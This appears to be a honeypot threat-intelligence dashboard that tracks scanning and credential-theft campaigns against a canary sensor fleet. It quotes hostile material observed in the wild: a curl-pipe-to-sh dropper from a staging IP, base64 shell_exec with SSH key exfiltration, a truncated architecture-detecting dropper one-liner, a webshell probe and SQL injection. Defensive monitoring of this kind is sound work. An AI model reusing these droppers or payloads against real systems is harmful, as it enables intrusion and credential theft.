Mint volume — issued rows per day; purple = day with Tracebit use events
Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)
Curated kill-chains — registry campaigns, maintained at briefing time
CF-FRONTED CREDSWEEP new
№37: first-seen Cloudflare-fronted ai-devbox credential census over inference.fapthropic.com — 54 Cloudflare edge IPs, 7,245 HTTPS events, 289 paths, 83 result families, and 76 /.env mints. Origin hidden by Cloudflare; all rows use socket peer 172.18.0.1 with no XFF mismatch. Watch the minted credentials for AWS use.
flowchart LR
EDGE["Cloudflare edge IPs<br/>54 in window"] --> HOST["ai-devbox-1 HTTPS<br/>inference.fapthropic.com"]
HOST --> CENSUS["Credential census<br/>289 paths · 83 families"]
CENSUS --> MINT["76 /.env mints"]
MINT --> WATCH["AWS-use watch"]
CREDENTIAL-DRAIN active
№40: SIXTH consecutive use window, SES pair lapsed — 3 credentials, 9 use events: 5 sts:GetCallerIdentity successes; denied ListFoundationModels ×4. Use side: Feo Prest .154 used 1 cred from 3 AWS IPs (FIRST use from .154; hoard 73/6d); LeakIX runner 159.65.144.72 used 1 from 1 IP — the first l9scan AWS touch (borderline service now spending); SS-Net .211 used 1 from 4 IPs with no flux mints in-window (outside flux window — Tracebit-only witness, 4th consecutive use window). Hoards: .175 135/6d (record), .154 73/6d. №39: SES recon repeated (GetSendQuota/GetSMSAttributes ×85 each); no SES ops this window.
flowchart LR
MINT["/.env mint burst"] --> COLLECT["Collector harvest<br/>.154 · .211 · l9scan .72"]
COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
USE --> S1["sts:GetCallerIdentity<br/>✓5"]
USE --> S2["Denied ops<br/>ListFoundationModels ×4"]
S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]
NIGHTAGENT dormant
DROPPER RETIRED 09-24: the nightagents/nightshell repo is 404 with its GHSAT token attached — the token was byte-identical across 14 windows. Eighth run (№28) was the campaign's first mint: 105.158.191.248, two full passes on farm 09-21, 1 credential issued, zero AWS use since. Idle three windows and counting; the phpunit verify body <?php echo "NightAgent";?> is the surviving fingerprint — a return must carry a NEW dropper URL.
flowchart LR
V["phpunit webshell verify<br/>NightAgent echo"] --> D["nightshell dropper<br/>RETIRED 09-24 — 404<br/>repo removed"]
D -.-> L["form login<br/>user=root&pass=wrong"]
L --> W["wp-batch SQLi<br/>UNION SELECT"]
W --> MINT["1 mint №28<br/>(zero AWS use)"]
METADATA-HUNT idle
Idle since №22 as a campaign; 7th marker-light window. №33: 3 @fs marker rows again (136.85.48.119, farm, 2nd window) with a 291-ev credential-family run (firebase/gcp-credentials, graphql, forged AI-crawler UAs, 3 mints) — resumption candidate.
№40: .250 SECOND RUN — ru-edge 750 ev / 743 paths / 118 families in 12 s (05:48 local, Googlebot/2.1), 5 mints; the 743-path wordlist is the №14 .248 core, not its own 1,007. .248 + .243 ran 150-path light passes on frantech-ts. №39: first .250 appearance, 1,007 paths / 11 mints on ru-edge. Block spans .242–.250. No observed AWS use from the /46 range; 6-day hoard leaders .246 (28) and .249 (12).
flowchart LR
OP["/46 pool · forged Googlebot/2.1<br/>.242–.250 + pool singles"] --> SWEEP[".250: 743-path census<br/>118 families in 12 s"]
SWEEP --> MINT["/.env mints ×5<br/>ru-edge"]
MINT --> HOARD["Standing hoard<br/>zero AWS use"]
REGISTRY-HUNT active
LeakIX l9scan template. №40: BIGGEST MINT WAVE — 24 l9scan IPs / 1,414 events / 23 mints at 1/IP across farm/aidev/control; two runner UA variants (2.0.234313… farm, 2.0.632323… aidev, 2.0.930323… control); cross-node runners 165.227.84.14, 167.99.181.249, and the kiteworks-signature 206.189.19.19; l9explore 45.138.12.51 minted 2. Runner 159.65.144.72 USED its canary in AWS (GetCallerIdentity) — first l9scan AWS touch (see CREDENTIAL-DRAIN). Honest UA; borderline per registry.
flowchart LR
L9["LeakIX l9scan<br/>24 DO IPs"] --> W1["WebLogic console"]
W1 --> W2["Confluence · WHM/cPanel"]
W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
DR --> GR["/graphql introspection"]
GR --> MINT["Mints 1/IP ×23<br/>one runner used in AWS"]
CREDSWEEP active
№40: standing set carried the window — 45.148.10.171 8th consecutive minting window (3 mints under Phoenix/0.2, Chrome/72, Camino/2.2.1 forgeries; 19/6d); 102.220.161.87 returned after 8 windows (2 mints control+ru-edge, honest Go-http-client/1.1); Feo .175 minted 31 on control in one Android/4.4.2 SM-T211 burst + 2 under MSIE 3.0B (135/6d record); .154 added 2 on farm. №39 operator 188.166.248.40 absent. №39: .40 ran frantech 515 directory-prefixed .env paths with the Mozlila Bulid/Moblie typo variant.
flowchart LR
OP["Feo Prest /24 ·<br/>VPS Dedicated SI · 45.148.10.171"] --> ENV[".env-variant +<br/>credential census"]
ENV --> FORGE["Antique-UA + Mozlila<br/>typo forgeries"]
FORGE --> MINT["Mints every window<br/>.175 hoard 135/6d"]
XMLRPC-BRUTE active
№37: 185.19.40.202 (1337 Services GmbH NL) returned on lauterbourg with 1,000 system.multicall POSTs in 89 s, fixed admin username, one password per body, forged Chrome/78. №36: 134.209.110.125 (DigitalOcean SG; minted 4 canaries №35) ran two legs on lauterbourg: 3,050 system.multicall POSTs plus 3,049 wp-login form POSTs with site-aware passwords. №28: fifth operator 119.40.84.186 (BDCOM BD) burst→sustained with 18,063 xmlrpc + 18,063 wp-login POSTs over 6.5 h on netcup.
flowchart LR
OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]
MALWARE-DICT active
Pfcloud 204.76.203.18 loop RESUMED №26 (first absence was №22): 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
Git-internals walk + secrets files. №40: REACTIVATED after 17 idle windows — NEW synchronized operator pair 104.207.39.149 + 65.111.3.141 (3xK Tech GmbH US, honest git/2.40.0 UA) ran identical 142-path walks on canary-farm-1 one hour apart (04:23, 05:26 local): /.git/HEAD, /.git/index, ORIG_HEAD, packed-refs, COMMIT_EDITMSG, FETCH_HEAD, and the full hooks/*.sample set; 0 mints, 0 POSTs. `git/2.39.0` (№13) and `git/2.40.0` are the family fingerprints.
flowchart LR
W["git/2.40.0 walk<br/>.git/HEAD · index · ORIG_HEAD"] --> HOOKS["hooks/*.sample<br/>full enumeration"]
HOOKS --> REFS["packed-refs · COMMIT_EDITMSG ·<br/>FETCH_HEAD"]
REFS --- PAIR["Two 3xK Tech IPs<br/>1 h apart · 0 mints"]
LIBREDTAIL-KIT active
phpunit directory-permutation RCE, honest UA libredtail-http. №40 (21st window): 4 full-kit IPs × 37 ev on lauterbourg (167.71.233.141, 102.244.97.185 repeat, 89.126.214.24, 118.145.104.37) — the phpunit-eval-stdin 4.8× spike on that node; the php-cgi delivery cluster 7e61a9500d8b ran 7 IPs / 343 events fleet-wide (farm/frantech/netcup/sponge). №36 (18th window): 16 full-kit IPs × 37 ev across 7 sensors; staging host 217.60.103.56 in bodies; repeat 102.244.97.185. №35 (17th window): 9 full-kit IPs at 37 ev each + 7-ev php-cgi delivery leg (same IPs, /bin/sh + cmd-injection-php-cgi-rce paths) across ai-devbox-1/netcup/sponge; dropper 12/12 → 217.60.103.56 arg apache. №33 (15th window): 18 full-kit IPs across ALL 8 sensors.
flowchart LR
P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
DROP --> SH["curl | sh -s apache"]
Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
ALI --> ZERO["0 mints —<br/>recon only"]
SYNC-ENUM-WAVE active
№25 NEW: 8 IPs ran byte-identical 282-event WordPress user-enum passes (270 tarpit + 12 enum calls), Chrome/127 UA, staggered ~15 min across control, ru-edge, sponge 18:41-20:01 UTC 09-18. №24 2-IP run was the same shape; third run, promoted.
flowchart LR
Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
P --> N1["control"]
P --> N2["ru-edge"]
P --> N3["sponge"]
N1 --- ZERO["0 mints"]
MEGA-DICT active
№40: REPLAY RETURNED after №39's miss (pause stays closed) — 98.98.47.133 (Zenlayer MY, the №37 ru-edge host) replayed on frantech-ts: 13,327 events / 13,324 paths in 2m52s (01:20–01:23 local), 209 rotating UAs (sample '360 Router P2 v2'), 0 POSTs, 0 mints; drove frantech +65%. WORDLIST GREW +27 (13,298 → 13,324 distinct vs the pooled prior artifact; registered manifest was 13,297): /bin/manta.* ×11 archs, /bins/morte.* ×2, /302/302l|m|w, plus dropper scripts (Pemex.sh, backdoor.sh, q.sh, rs.sh, lmaoWTF/loligang.spc). №38: second consecutive double replay, both legs frantech-ts.
Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
UN-MERGED from METADATA-HUNT in №33 per the registered trigger. №34–№35: two consecutive absences since the un-merge — the №34 rule fired, status is standing-paused. Un-pause on a 140.245.x/161.118.x run carrying the ~94-path core.
REGISTERED №33. №34: 105.115.10.78 returned solo (4 markers / 4 mints on ai-devbox-1) — its second run; 23.234.77.64 and the №32 originals absent. Operator ledger: 4 operators / 4 ASNs, every marker suffix fresh per run.
flowchart LR
P["GET /__ss_probe_<32-hex>__<br/>python-requests/2.31.0<br/>guarantees first-seen"] --> E["GET /.env → 200<br/>canary mint"]
E --> END["Run ends<br/>no POST · no fanout"]
CONFIG-SWEEP active
87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery). №33: SECOND mint run — 12 mints inside farm's 2,950-ev 1-minute burst + 6 on control's 1,239-ev census. №34: NO NEW RUN — the window's control rows and 6 mints are the №33 run seen through the 24-h seam.
flowchart LR
B["1-minute census burst<br/>1,600+ paths, 121 families"] --> W["wp-config · app-config ·<br/>aws-credentials paths"]
W --> MINT["/.env mints<br/>18 in-window"]
WP-FORM-BRUTE recurring
⟳ 3rd window №40: roster rotated — 4 registered runners active (1.234.27.159 ru-edge, 47.104.246.244 / 198.44.46.229 / 42.193.124.174 sponge) plus NEW runners 39.105.208.239 (aidev: 131 POSTs / 131 distinct 4–5-digit numeric passwords in 8 min, no _wpnonce — owns the 11.2× wp-login-credentials spike), 160.250.204.33 (netcup, 14 POSTs low-and-slow over 11 h), 43.161.222.61, 65.109.52.70, 212.132.101.142, 47.238.249.137; the parallel wp-login+xmlrpc shape ran from 217.60.198.3 (ru-edge, same /16 as the LIBREDTAIL staging host — note only). Fixed log=admin, testcookie, redirect_to = fleet vhost/IP all carry. №39: 7 IPs / 740 ev (df15d0ee3ccf). №38 ⚠ NEW: 11 runners, one per sensor, ~23 h; 636 POSTs / 635 distinct bodies.
flowchart LR
Q["Rotating runners<br/>9 IPs this window"] --> G["GET /wp-login.php probe<br/>harvest nonce + testcookie"]
G --> P["POST log=admin<br/>one password per body"]
P --> R["redirect_to = fleet vhost<br/>low-and-slow + 8-min burst"]
ZKILLU-GITWALK idle
№40: NO SECOND WINDOW — 169.40.142.2 absent, no second IP or node, and no AWS use of its 2 canaries. One window so far. №39 ⚠ NEW: single-IP git-internals mass walk — 169.40.142.2 (Zkillu SAS FR) ran 14,787 events / 10,150 paths / 44 families on canary-farm-1 in 10 minutes (12:46–12:56 UTC+4), the fleet-record single-IP event. Shape: HEAD / + robots/sitemap tarpit probes, a config census (/config/app.php, /html/.env, /.circleci/config.yml, /credentials.json, /secrets.json, /.aws/credentials, /.env — 2 mints), then the fake-git mass: 11,281 fake-git-miss + 2,333 fake-git + 760 fake-git-redirect, with HTML-fragment garbage paths (/.git/logs/refs/<h1>Index, /<pre>, /<hr>) that indicate the tool scrapes link targets out of served HTML. Bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, no platform token). Drove canary-farm-1 +262% and the fake-git-miss 3,760× spike.
flowchart LR
T["HEAD / · robots.txt · sitemap.xml<br/>tarpit probes"] --> C["Config census<br/>.env · CI configs · secrets"]
C --> MINT["/.env — 2 mints"]
C --> W["Git-internals mass walk<br/>14.4k fake-git events"]
W --> GARBAGE["HTML-fragment paths<br/>/.git/logs/refs/<h1>Index"]
SS-NET TOOLING active
⟳ standing .env-variant walker, sig 6a6fdaca6a1f / SS-Net RO. №40: no flux mints in-window, but Tracebit shows .211 USED 1 credential from 4 AWS-side IPs (GetCallerIdentity + ListFoundationModels) — outside flux window, Tracebit-only witness; fourth consecutive use window for .211. №39: ESCALATION — 80.94.95.211 minted 34 on ai-devbox-1 in one 27-second burst (15:23–24 UTC+4, 200 ev total, 52/6d) and USED 1 credential from 2 AWS-side IPs — third consecutive use window. Sibling collector 80.94.92.65 added 4 mints (9/6d).
№40: no second window (0 events). №39 ⚠ NEW: Sonicwall SSL-VPN login probe, signature a2176d32b35f (first seen 10-02) — 4 IPs, one per sensor (ai-devbox-1, canary-farm-1, frantech-ts, sponge-01-ts), 52 events: /auth.html [sonicwall-portal 200] → /auth1.html → /sslvpnLogin.html → companion webshells. Lineage: №14's 45.79.218.38 ran the same 15-ev shape solo on a Linode IP. 0 mints; promote on a run with credential POSTs.
flowchart LR
A["/auth.html<br/>sonicwall-portal 200"] --> B["/auth1.html"]
B --> C["/sslvpnLogin.html"]
C --- Z["0 mints · 4 IPs · 4 sensors"]
TOKEN-CRAWLER recurring
⟳ /24 45.198.224.x — /c/<100-char token> + .env directory variants, forged Chrome/114, 0 mints. №39: scout-shape return — .123/.125/.169 ran one-touch tarpit-module passes on all 8 nodes (16–73 ev each); no frantech /c/ wave in-window. №38: 7 IPs, three synchronized frantech waves.
flowchart LR
T["45.198.224.x /24<br/>forged Chrome/114"] --> C["/c/<100-char token> walk<br/>+ .env directory variants"]
C --> Z["0 mints · census only<br/>3 synchronized waves"]
Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)
"cd /dev/shm||cd /tmp||cd /var/tmp||cd /;A=$(uname -m);case $A in x86_64)U=x86_64;;i686|i386)U=x86;;aarch64|arm64)U=arm6
Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps
Arkime window 2026-10-02 07:33:00 → 2026-10-03 07:33:57 UTC · 122,459 inbound sessions on 8 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprint
campaign
sessions
src IPs
networks
countries
ports
src IPs/day
f555226df196…
LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)